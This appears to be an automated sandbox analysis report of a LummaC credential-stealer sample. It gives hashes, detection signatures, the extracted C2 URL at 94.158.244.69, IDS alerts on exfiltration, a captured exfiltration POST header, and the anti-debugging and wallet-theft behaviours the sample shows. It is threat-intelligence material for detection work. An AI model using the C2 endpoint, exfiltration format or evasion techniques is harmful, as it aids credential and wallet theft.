Edit tour

Windows Analysis Report
g1kWKm20Z5.exe

Overview

General Information

Sample name:	g1kWKm20Z5.exe renamed because original name is a hash value
Original sample name:	6b3ef3a90ba62f467b95d06765ab128bfec21ea012fd4f1e0927ca0d09169d86.exe
Analysis ID:	1555041
MD5:	33f4cf8b4c1f6c07e80c74669d31021b
SHA1:	a2d722720565ab8659c066aaf693f5b2ad8fb3d3
SHA256:	6b3ef3a90ba62f467b95d06765ab128bfec21ea012fd4f1e0927ca0d09169d86
Tags:	94-158-244-69exeuser-JAMESWT_MHT
Infos:

Detection

LummaC Stealer

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Detected unpacking (changes PE section rights)

Detected unpacking (overwrites its own PE header)

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected LummaC Stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Contains functionality to hide a thread from the debugger

Delayed program exit found

Found API chain indicative of debugger detection

Found evasive API chain (may stop execution after checking computer name)

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Machine Learning detection for sample

Query firmware table information (likely to detect VMs)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Crypto Currency Wallets

AV process strings found (often used to terminate AV products)

Abnormal high CPU Usage

Checks for kernel debuggers (NtQuerySystemInformation(SystemKernelDebuggerInformation))

Checks if the current process is being debugged

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to check the parent process ID (often done to detect debuggers and analysis systems)

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Detected potential crypto function

Enables driver privileges

Found evasive API chain (date check)

Found evasive API chain (may stop execution after accessing registry keys)

Found potential string decryption / allocating functions

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

One or more processes crash

Searches for user specific document files

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

g1kWKm20Z5.exe (PID: 1352 cmdline: "C:\Users\user\Desktop\g1kWKm20Z5.exe" MD5: 33F4CF8B4C1F6C07E80C74669D31021B)

WerFault.exe (PID: 4248 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 1352 -s 1708 MD5: C31336C1EFC2CCB44B4326EA793040F2)

cleanup

Malware Configuration

Threatname: LummaC

{"C2 url": "http://94.158.244.69/c2sock", "Build Version": "LummaC2, Build 20233101"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_LummaCStealer_1	Yara detected LummaC Stealer	Joe Security
dump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
00000000.00000002.3614139526.0000000002330000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
00000000.00000002.3614139526.0000000002330000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
00000000.00000002.3612871914.00000000008AD000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0xb28:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000000.00000002.3612525483.0000000000400000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
00000000.00000003.1693318740.00000000023A0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
00000000.00000002.3613161605.0000000000A5A000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Process Memory Space: g1kWKm20Z5.exe PID: 1352	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: g1kWKm20Z5.exe PID: 1352	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: g1kWKm20Z5.exe PID: 1352	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Click to see the 4 entries

Unpacked PEs

Source	Rule	Description	Author
0.3.g1kWKm20Z5.exe.23a0000.0.unpack	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
0.2.g1kWKm20Z5.exe.400000.0.unpack	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
0.3.g1kWKm20Z5.exe.23a0000.0.raw.unpack	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
0.2.g1kWKm20Z5.exe.400000.0.raw.unpack	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security

Suricata Signatures

ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-13T10:51:46.541425+0100	2022930	1	A Network Trojan was detected	20.109.210.53	443	192.168.2.4	49730	TCP
2024-11-13T10:52:24.735108+0100	2022930	1	A Network Trojan was detected	20.109.210.53	443	192.168.2.4	49877	TCP

ET MALWARE Win32/Lumma Stealer Data Exfiltration Attempt M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-13T10:51:06.084853+0100	2043206	1	A Network Trojan was detected	192.168.2.4	49736	94.158.244.69	80	TCP
2024-11-13T10:51:06.084853+0100	2043206	1	A Network Trojan was detected	192.168.2.4	49944	94.158.244.69	80	TCP
2024-11-13T10:52:08.509327+0100	2043206	1	A Network Trojan was detected	192.168.2.4	49743	94.158.244.69	80	TCP
2024-11-13T10:52:17.471003+0100	2043206	1	A Network Trojan was detected	192.168.2.4	49793	94.158.244.69	80	TCP
2024-11-13T10:52:26.456597+0100	2043206	1	A Network Trojan was detected	192.168.2.4	49844	94.158.244.69	80	TCP
2024-11-13T10:52:35.200891+0100	2043206	1	A Network Trojan was detected	192.168.2.4	49895	94.158.244.69	80	TCP
2024-11-13T10:52:53.502274+0100	2043206	1	A Network Trojan was detected	192.168.2.4	49991	94.158.244.69	80	TCP
2024-11-13T10:52:54.285809+0100	2043206	1	A Network Trojan was detected	192.168.2.4	50010	94.158.244.69	80	TCP
2024-11-13T10:53:11.490787+0100	2043206	1	A Network Trojan was detected	192.168.2.4	50011	94.158.244.69	80	TCP
2024-11-13T10:53:20.255945+0100	2043206	1	A Network Trojan was detected	192.168.2.4	50012	94.158.244.69	80	TCP
2024-11-13T10:53:29.154805+0100	2043206	1	A Network Trojan was detected	192.168.2.4	50013	94.158.244.69	80	TCP
2024-11-13T10:53:37.909184+0100	2043206	1	A Network Trojan was detected	192.168.2.4	50014	94.158.244.69	80	TCP
2024-11-13T10:53:46.703991+0100	2043206	1	A Network Trojan was detected	192.168.2.4	50015	94.158.244.69	80	TCP
2024-11-13T10:53:55.471170+0100	2043206	1	A Network Trojan was detected	192.168.2.4	50016	94.158.244.69	80	TCP

ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-13T10:52:54.285809+0100	2843864	1	A Network Trojan was detected	192.168.2.4	50010	94.158.244.69	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: 00000000.00000002.3613161605.0000000000A5A000.00000004.00000020.00020000.00000000.sdmp

Malware Configuration Extractor: LummaC {"C2 url": "http://94.158.244.69/c2sock", "Build Version": "LummaC2, Build 20233101"}

Multi AV Scanner detection for submitted file

Source: g1kWKm20Z5.exe

ReversingLabs: Detection: 89%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: g1kWKm20Z5.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\g1kWKm20Z5.exe

Code function: 0_2_004052D9 CryptUnprotectData,

0_2_004052D9

Compliance

Detected unpacking (overwrites its own PE header)

Source: C:\Users\user\Desktop\g1kWKm20Z5.exe

Unpacked PE file: 0.2.g1kWKm20Z5.exe.400000.0.unpack

Source: g1kWKm20Z5.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\Users\user\Desktop\g1kWKm20Z5.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	Code function: 0_2_00451FBC FindFirstFileExW,FindNextFileW,FindClose,FindClose,		0_2_00451FBC
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	Code function: 0_2_02382223 FindFirstFileExW,FindNextFileW,FindClose,FindClose,		0_2_02382223

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2043206 - Severity 1 - ET MALWARE Win32/Lumma Stealer Data Exfiltration Attempt M2 : 192.168.2.4:49743 -> 94.158.244.69:80
Source: Network traffic	Suricata IDS: 2043206 - Severity 1 - ET MALWARE Win32/Lumma Stealer Data Exfiltration Attempt M2 : 192.168.2.4:49844 -> 94.158.244.69:80
Source: Network traffic	Suricata IDS: 2043206 - Severity 1 - ET MALWARE Win32/Lumma Stealer Data Exfiltration Attempt M2 : 192.168.2.4:49793 -> 94.158.244.69:80
Source: Network traffic	Suricata IDS: 2043206 - Severity 1 - ET MALWARE Win32/Lumma Stealer Data Exfiltration Attempt M2 : 192.168.2.4:49895 -> 94.158.244.69:80
Source: Network traffic	Suricata IDS: 2043206 - Severity 1 - ET MALWARE Win32/Lumma Stealer Data Exfiltration Attempt M2 : 192.168.2.4:50013 -> 94.158.244.69:80
Source: Network traffic	Suricata IDS: 2043206 - Severity 1 - ET MALWARE Win32/Lumma Stealer Data Exfiltration Attempt M2 : 192.168.2.4:50014 -> 94.158.244.69:80
Source: Network traffic	Suricata IDS: 2043206 - Severity 1 - ET MALWARE Win32/Lumma Stealer Data Exfiltration Attempt M2 : 192.168.2.4:50015 -> 94.158.244.69:80
Source: Network traffic	Suricata IDS: 2043206 - Severity 1 - ET MALWARE Win32/Lumma Stealer Data Exfiltration Attempt M2 : 192.168.2.4:50016 -> 94.158.244.69:80
Source: Network traffic	Suricata IDS: 2043206 - Severity 1 - ET MALWARE Win32/Lumma Stealer Data Exfiltration Attempt M2 : 192.168.2.4:49991 -> 94.158.244.69:80
Source: Network traffic	Suricata IDS: 2043206 - Severity 1 - ET MALWARE Win32/Lumma Stealer Data Exfiltration Attempt M2 : 192.168.2.4:50012 -> 94.158.244.69:80
Source: Network traffic	Suricata IDS: 2043206 - Severity 1 - ET MALWARE Win32/Lumma Stealer Data Exfiltration Attempt M2 : 192.168.2.4:50010 -> 94.158.244.69:80
Source: Network traffic	Suricata IDS: 2843864 - Severity 1 - ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2 : 192.168.2.4:50010 -> 94.158.244.69:80
Source: Network traffic	Suricata IDS: 2043206 - Severity 1 - ET MALWARE Win32/Lumma Stealer Data Exfiltration Attempt M2 : 192.168.2.4:50011 -> 94.158.244.69:80
Source: Network traffic	Suricata IDS: 2043206 - Severity 1 - ET MALWARE Win32/Lumma Stealer Data Exfiltration Attempt M2 : 192.168.2.4:49736 -> 94.158.244.69:80
Source: Network traffic	Suricata IDS: 2043206 - Severity 1 - ET MALWARE Win32/Lumma Stealer Data Exfiltration Attempt M2 : 192.168.2.4:49944 -> 94.158.244.69:80

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: http://94.158.244.69/c2sock

Source: Joe Sandbox View

IP Address: 94.158.244.69 94.158.244.69

Source: Joe Sandbox View

ASN Name: MIVOCLOUDMD MIVOCLOUDMD

Source: Network traffic	Suricata IDS: 2022930 - Severity 1 - ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow : 20.109.210.53:443 -> 192.168.2.4:49730
Source: Network traffic	Suricata IDS: 2022930 - Severity 1 - ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow : 20.109.210.53:443 -> 192.168.2.4:49877

Source: unknown	TCP traffic detected without corresponding DNS query: 94.158.244.69
Source: unknown	TCP traffic detected without corresponding DNS query: 94.158.244.69
Source: unknown	TCP traffic detected without corresponding DNS query: 94.158.244.69
Source: unknown	TCP traffic detected without corresponding DNS query: 94.158.244.69
Source: unknown	TCP traffic detected without corresponding DNS query: 94.158.244.69
Source: unknown	TCP traffic detected without corresponding DNS query: 94.158.244.69
Source: unknown	TCP traffic detected without corresponding DNS query: 94.158.244.69
Source: unknown	TCP traffic detected without corresponding DNS query: 94.158.244.69
Source: unknown	TCP traffic detected without corresponding DNS query: 94.158.244.69
Source: unknown	TCP traffic detected without corresponding DNS query: 94.158.244.69
Source: unknown	TCP traffic detected without corresponding DNS query: 94.158.244.69
Source: unknown	TCP traffic detected without corresponding DNS query: 94.158.244.69
Source: unknown	TCP traffic detected without corresponding DNS query: 94.158.244.69
Source: unknown	TCP traffic detected without corresponding DNS query: 94.158.244.69
Source: unknown	TCP traffic detected without corresponding DNS query: 94.158.244.69
Source: unknown	TCP traffic detected without corresponding DNS query: 94.158.244.69
Source: unknown	TCP traffic detected without corresponding DNS query: 94.158.244.69
Source: unknown	TCP traffic detected without corresponding DNS query: 94.158.244.69
Source: unknown	TCP traffic detected without corresponding DNS query: 94.158.244.69
Source: unknown	TCP traffic detected without corresponding DNS query: 94.158.244.69
Source: unknown	TCP traffic detected without corresponding DNS query: 94.158.244.69
Source: unknown	TCP traffic detected without corresponding DNS query: 94.158.244.69
Source: unknown	TCP traffic detected without corresponding DNS query: 94.158.244.69
Source: unknown	TCP traffic detected without corresponding DNS query: 94.158.244.69
Source: unknown	TCP traffic detected without corresponding DNS query: 94.158.244.69
Source: unknown	TCP traffic detected without corresponding DNS query: 94.158.244.69
Source: unknown	TCP traffic detected without corresponding DNS query: 94.158.244.69
Source: unknown	TCP traffic detected without corresponding DNS query: 94.158.244.69
Source: unknown	TCP traffic detected without corresponding DNS query: 94.158.244.69
Source: unknown	TCP traffic detected without corresponding DNS query: 94.158.244.69
Source: unknown	TCP traffic detected without corresponding DNS query: 94.158.244.69
Source: unknown	TCP traffic detected without corresponding DNS query: 94.158.244.69
Source: unknown	TCP traffic detected without corresponding DNS query: 94.158.244.69
Source: unknown	TCP traffic detected without corresponding DNS query: 94.158.244.69
Source: unknown	TCP traffic detected without corresponding DNS query: 94.158.244.69
Source: unknown	TCP traffic detected without corresponding DNS query: 94.158.244.69
Source: unknown	TCP traffic detected without corresponding DNS query: 94.158.244.69
Source: unknown	TCP traffic detected without corresponding DNS query: 94.158.244.69
Source: unknown	TCP traffic detected without corresponding DNS query: 94.158.244.69
Source: unknown	TCP traffic detected without corresponding DNS query: 94.158.244.69
Source: unknown	TCP traffic detected without corresponding DNS query: 94.158.244.69
Source: unknown	TCP traffic detected without corresponding DNS query: 94.158.244.69
Source: unknown	TCP traffic detected without corresponding DNS query: 94.158.244.69
Source: unknown	TCP traffic detected without corresponding DNS query: 94.158.244.69
Source: unknown	TCP traffic detected without corresponding DNS query: 94.158.244.69
Source: unknown	TCP traffic detected without corresponding DNS query: 94.158.244.69
Source: unknown	TCP traffic detected without corresponding DNS query: 94.158.244.69
Source: unknown	TCP traffic detected without corresponding DNS query: 94.158.244.69
Source: unknown	TCP traffic detected without corresponding DNS query: 94.158.244.69
Source: unknown	TCP traffic detected without corresponding DNS query: 94.158.244.69

Source: unknown

HTTP traffic detected: POST /c2sock HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=SqDe87817huf871793q74User-Agent: TeslaBrowser/5.5Content-Length: 24083Host: 94.158.244.69

Source: g1kWKm20Z5.exe, 00000000.00000002.3612917620.0000000000919000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://94.158.244.69/
Source: g1kWKm20Z5.exe, 00000000.00000002.3612917620.0000000000919000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://94.158.244.69/C
Source: g1kWKm20Z5.exe, 00000000.00000002.3612917620.0000000000919000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://94.158.244.69/D
Source: g1kWKm20Z5.exe, 00000000.00000002.3612917620.0000000000919000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://94.158.244.69/H
Source: g1kWKm20Z5.exe, 00000000.00000002.3612917620.0000000000919000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://94.158.244.69/Q
Source: g1kWKm20Z5.exe, 00000000.00000002.3612917620.0000000000919000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://94.158.244.69/V
Source: g1kWKm20Z5.exe, 00000000.00000002.3612917620.0000000000906000.00000004.00000020.00020000.00000000.sdmp, g1kWKm20Z5.exe, 00000000.00000002.3616223948.0000000003348000.00000004.00000020.00020000.00000000.sdmp, g1kWKm20Z5.exe, 00000000.00000002.3613161605.0000000000A5A000.00000004.00000020.00020000.00000000.sdmp, g1kWKm20Z5.exe, 00000000.00000002.3613161605.0000000000990000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://94.158.244.69/c2sock
Source: g1kWKm20Z5.exe, 00000000.00000002.3612917620.0000000000906000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://94.158.244.69/c2sock3
Source: g1kWKm20Z5.exe, 00000000.00000002.3612917620.0000000000906000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://94.158.244.69/c2sock6
Source: g1kWKm20Z5.exe, 00000000.00000002.3613161605.0000000000A5A000.00000004.00000020.00020000.00000000.sdmp, g1kWKm20Z5.exe, 00000000.00000002.3613161605.0000000000990000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://94.158.244.69/c2sock?
Source: g1kWKm20Z5.exe, 00000000.00000002.3612917620.0000000000906000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://94.158.244.69/c2sockM
Source: g1kWKm20Z5.exe, 00000000.00000002.3616223948.0000000003348000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://94.158.244.69/c2sockMY
Source: g1kWKm20Z5.exe, 00000000.00000002.3612917620.0000000000906000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://94.158.244.69/c2sockh
Source: g1kWKm20Z5.exe, 00000000.00000002.3613161605.0000000000A5A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://94.158.244.69/c2sockj
Source: g1kWKm20Z5.exe, 00000000.00000002.3612917620.0000000000919000.00000004.00000020.00020000.00000000.sdmp, g1kWKm20Z5.exe, 00000000.00000002.3612917620.00000000008F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://94.158.244.69/l
Source: g1kWKm20Z5.exe, 00000000.00000002.3616223948.00000000030FD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: g1kWKm20Z5.exe, 00000000.00000002.3616223948.00000000030FD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: g1kWKm20Z5.exe, 00000000.00000002.3616223948.00000000030FD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: g1kWKm20Z5.exe, 00000000.00000002.3616223948.00000000030FD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: g1kWKm20Z5.exe, 00000000.00000002.3616223948.00000000030FD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: g1kWKm20Z5.exe, 00000000.00000002.3616223948.00000000030FD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: g1kWKm20Z5.exe, 00000000.00000002.3616223948.00000000030FD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: g1kWKm20Z5.exe, 00000000.00000002.3616223948.00000000030FD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: g1kWKm20Z5.exe, 00000000.00000002.3616223948.00000000030FD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: Amcache.hve.7.dr	String found in binary or memory: http://upx.sf.net
Source: g1kWKm20Z5.exe, 00000000.00000002.3616223948.00000000030FD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: g1kWKm20Z5.exe, 00000000.00000002.3616223948.00000000030FD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: g1kWKm20Z5.exe, 00000000.00000002.3613161605.0000000000A40000.00000004.00000020.00020000.00000000.sdmp, g1kWKm20Z5.exe, 00000000.00000003.2171988651.0000000000A40000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: g1kWKm20Z5.exe, 00000000.00000002.3613161605.0000000000A40000.00000004.00000020.00020000.00000000.sdmp, g1kWKm20Z5.exe, 00000000.00000003.2171988651.0000000000A40000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: g1kWKm20Z5.exe, 00000000.00000002.3613161605.0000000000A40000.00000004.00000020.00020000.00000000.sdmp, g1kWKm20Z5.exe, 00000000.00000003.2171988651.0000000000A40000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: g1kWKm20Z5.exe, 00000000.00000002.3613161605.0000000000A40000.00000004.00000020.00020000.00000000.sdmp, g1kWKm20Z5.exe, 00000000.00000003.2171988651.0000000000A40000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: g1kWKm20Z5.exe, 00000000.00000002.3613161605.0000000000A40000.00000004.00000020.00020000.00000000.sdmp, g1kWKm20Z5.exe, 00000000.00000003.2171988651.0000000000A40000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: g1kWKm20Z5.exe, 00000000.00000002.3613161605.0000000000A40000.00000004.00000020.00020000.00000000.sdmp, g1kWKm20Z5.exe, 00000000.00000003.2171988651.0000000000A40000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: g1kWKm20Z5.exe, 00000000.00000002.3613161605.0000000000A40000.00000004.00000020.00020000.00000000.sdmp, g1kWKm20Z5.exe, 00000000.00000003.2171988651.0000000000A40000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: g1kWKm20Z5.exe, 00000000.00000002.3619351891.0000000003BD0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: g1kWKm20Z5.exe, 00000000.00000002.3619351891.0000000003BD0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: g1kWKm20Z5.exe, 00000000.00000003.2171988651.00000000009E5000.00000004.00000020.00020000.00000000.sdmp, g1kWKm20Z5.exe, 00000000.00000002.3613161605.0000000000A24000.00000004.00000020.00020000.00000000.sdmp, g1kWKm20Z5.exe, 00000000.00000003.2171988651.0000000000A24000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: g1kWKm20Z5.exe, 00000000.00000003.2171988651.00000000009FF000.00000004.00000020.00020000.00000000.sdmp, g1kWKm20Z5.exe, 00000000.00000002.3613161605.00000000009C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples
Source: g1kWKm20Z5.exe, 00000000.00000003.2171988651.00000000009E5000.00000004.00000020.00020000.00000000.sdmp, g1kWKm20Z5.exe, 00000000.00000002.3613161605.0000000000A24000.00000004.00000020.00020000.00000000.sdmp, g1kWKm20Z5.exe, 00000000.00000003.2171988651.0000000000A24000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: g1kWKm20Z5.exe, 00000000.00000003.2171988651.00000000009FF000.00000004.00000020.00020000.00000000.sdmp, g1kWKm20Z5.exe, 00000000.00000002.3613161605.00000000009C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install
Source: g1kWKm20Z5.exe, 00000000.00000002.3613161605.0000000000A40000.00000004.00000020.00020000.00000000.sdmp, g1kWKm20Z5.exe, 00000000.00000003.2171988651.0000000000A40000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: g1kWKm20Z5.exe, 00000000.00000002.3613161605.0000000000A40000.00000004.00000020.00020000.00000000.sdmp, g1kWKm20Z5.exe, 00000000.00000003.2171988651.0000000000A40000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: g1kWKm20Z5.exe, 00000000.00000002.3619351891.0000000003BD0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.VsJpOAWrHqB2
Source: g1kWKm20Z5.exe, 00000000.00000002.3619351891.0000000003BD0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.n0g9CLHwD9nR
Source: g1kWKm20Z5.exe, 00000000.00000002.3619351891.0000000003BD0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: g1kWKm20Z5.exe, 00000000.00000002.3619351891.0000000003BD0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: g1kWKm20Z5.exe, 00000000.00000002.3619351891.0000000003BD0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.

System Summary

Malicious sample detected (through community Yara rule)

Source: 00000000.00000002.3614139526.0000000002330000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: 00000000.00000002.3612871914.00000000008AD000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown

Source: C:\Users\user\Desktop\g1kWKm20Z5.exe

Process Stats: CPU usage > 49%

Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	Code function: 0_2_0040B81C lstrcatW,lstrcmpW,lstrcmpW,lstrcatW,lstrcatW,lstrcatW,lstrlenW,lstrcmpW,lstrlenW,lstrcatW,lstrcatW,lstrcatW,NtCreateFile,lstrcatW,NtQueryDirectoryFile,lstrcmpW,NtClose,lstrcmpW,lstrlenW,lstrlenW,lstrcmpW,	0_2_0040B81C
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	Code function: 0_2_00422177 NtQueryInformationProcess,	0_2_00422177
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	Code function: 0_2_0040A928 lstrcmpW,lstrlenW,lstrcatW,NtCreateFile,lstrcatW,lstrlenW,	0_2_0040A928
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	Code function: 0_2_0040B129 lstrcatW,lstrcatW,NtReadFile,NtClose,	0_2_0040B129
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	Code function: 0_2_0042F1C2 NtClose,	0_2_0042F1C2
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	Code function: 0_2_0041F9A4 GetCurrentProcessId,NtDuplicateObject,NtClose,GetProcessId,NtQuerySystemInformation,NtQuerySystemInformation,	0_2_0041F9A4
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	Code function: 0_2_004244E4 NtSetInformationThread,	0_2_004244E4
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	Code function: 0_2_004224A3 NtQueryInformationProcess,	0_2_004224A3
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	Code function: 0_2_004245EC NtQuerySystemInformation,	0_2_004245EC
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	Code function: 0_2_00421EEB NtQueryInformationProcess,	0_2_00421EEB
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	Code function: 0_2_0040B7BB lstrcmpW,NtClose,	0_2_0040B7BB
Source: C:\Users\user\Desktop\g1kWKm20Z5.exe	Code function: 0_2_0040B7F5 NtClose,	0_2_0040B7F5

